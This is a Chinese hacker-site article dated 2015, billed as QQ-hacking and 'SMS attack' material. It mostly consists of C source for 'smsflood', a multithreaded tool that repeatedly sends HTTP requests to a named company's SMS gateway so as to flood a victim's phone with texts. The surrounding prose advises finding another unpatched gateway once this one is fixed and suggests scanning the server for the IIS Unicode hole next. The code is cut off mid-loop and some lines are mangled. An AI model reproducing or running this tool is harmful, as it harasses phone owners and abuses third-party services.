您现在的位置: 主页 > QQ黑客资讯 > 漏洞中心 > 文章内容

黑客技术,盗QQ号-短信攻击新思路

作者: 黑客基地 来源:黑客网站 时间: 2015-07-01 阅读:
命令行:
smsflood <手机号> <发送次数><回车>


程序运行时会查询服务器状态,当服务器状态为40x时可能程序里使用
的短信网关已将洞洞给补上了,因为服务器那里会有发送记录,可能管
理员会发现我们所做的,那时就要再找一个有洞洞网关,然后修改源程
序,再重新编译了.程序虽小,但使用了多线程、临界区、Winsock、
TCP/IP、HTTP协议等技术!是一个不错的网络编程例子程序哦!

这里只是提供一个思路,使用Windows Sockets编程可以让我们获得更多
的底层信息,比如在这个程序里,我们就会发现在服务器使用的是IIS 5.0
如果想进一步攻击,我们可以再编写一个UniCode漏洞扫描程序(该漏洞是
IIS所特有的).
**********************************************************************
*/
#define _MT//多线程支持
#include
#include //memset()
#include
#include //getch()
#include //_beginthread,使用多线程函数
#include //socket(),bind(),connect,send(),recv().....,使用套接字函数

#pragma comment(lib,"ws2_32.lib")//连接套接字函数
#pragma comment(lib,"Libcmt.LIB")//连接多线程函数

//inifmt和sendfmt是程序使用的HTTP POST方法数据包,用我写的listen80程序获得的

char inifmt[]="GET /asp/sms/reguse.asp?strMobilecode=%s HTTP/1.1\n"
"Accept: */*\n"
"Accept-Language: zh-cn\n"
"Accept-Encoding: gzip, deflate\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n"
"Host: sms.soufun.com\n"
"Connection: Keep-Alive\n\n";

char sendfmt[]="GET /asp/sms/pushpass.asp?strMobilecode=%s HTTP/1.1\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*\n"
"Accept-Language: zh-cn\n"
"Accept-Encoding: gzip, deflate\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n"
"Host: sms.soufun.com\n"
"Connection: Keep-Alive\n\n";

char buffer[400]={0},buffer2[300]={0};
struct sockaddr_in server,client;
char mobile[11]={0};
int scount=0;
CRITICAL_SECTION beswap;
/***********************************************************************************************/
void do****amcc(void* parm)
{
EnterCriticalSection(&beswap);
SOCKET sfd;
scount++;
if((sfd=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
{
printf("为%d攻击线程分配套按字失败....\n",scount--);
LeaveCriticalSection(&beswap);
return ;
}
if(bind(sfd,(struct sockaddr *)(&client),sizeof(struct sockaddr))==SOCKET_ERROR)
{
printf("攻击线程%d地址绑定失败....\n",scount--);
LeaveCriticalSection(&beswap);
closesocket(sfd);
return ;
}
if(connect(sfd,(struct sockaddr*)&server,sizeof(struct sockaddr)))
{
printf("攻击线程%d在连接到服务器时失败....\n",scount--);
closesocket(sfd);
LeaveCriticalSection(&beswap);
return ;
}
printf("线程%d正在发送数据包到%s\n",scount,mobile);
memset(buffer,0,380);
printf("攻击线程 %d 正在初使化短信攻击数据......\n",scount);
wsprintf(buffer,inifmt,mobile);
send(sfd,buffer,sizeof(buffer),0);
printf("攻击线程 %d 正在发送攻击数据包......\n",scount);
wsprintf(buffer,sendfmt,mobile);
send(sfd,buffer,sizeof(buffer),0);
printf("攻击线程 %d 完成数据包发送,正在查询服务器状态......\a\n",scount);
recv(sfd,buffer2,240,0);
printf("服务器状态如下:\n%s\n",buffer2);
LeaveCriticalSection(&beswap);
Sleep(200);
}
/***********************************************************************************************/

void main(int argc,char **argv)
{
//1,初使化套接字以及地址和临界区变量
WSADATA data;
struct hostent *host=NULL;
int begin=0,thread=0;
if(argc!=3)
{
printf("smsflood \a\n");
exit(-1);
}
if(WSAStartup(0x0202,&data)!=0)
{
printf("WSAStartup error:%d\n",WSAGetLastError());
exit(0);
}
memset((void*)&server,0,sizeof(struct sockaddr_in));
memset((void*)&client,0,sizeof(struct sockaddr_in));
server.sin_family=AF_INET;
server.sin_port=htons(80);
server.sin_addr.S_un.S_addr=inet_addr("202.108.253.37");
client.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
client.sin_port=htons(0);
client.sin_family=AF_INET;
thread=atoi(argv[2]);
strcpy(mobile,argv[1]);
InitializeCriticalSection(&beswap);
//2,跟据用户输入启动发送线程
printf("\n短信洪水攻击程序 Ver 1.0.1.11\n\n作者:yellow\n\nEmail:wjj2748_cn@sina.com\n\n");
printf("初使化完成,是否开始攻击?(y/n)\a\n");
if(getch()=='y')
{
while(begin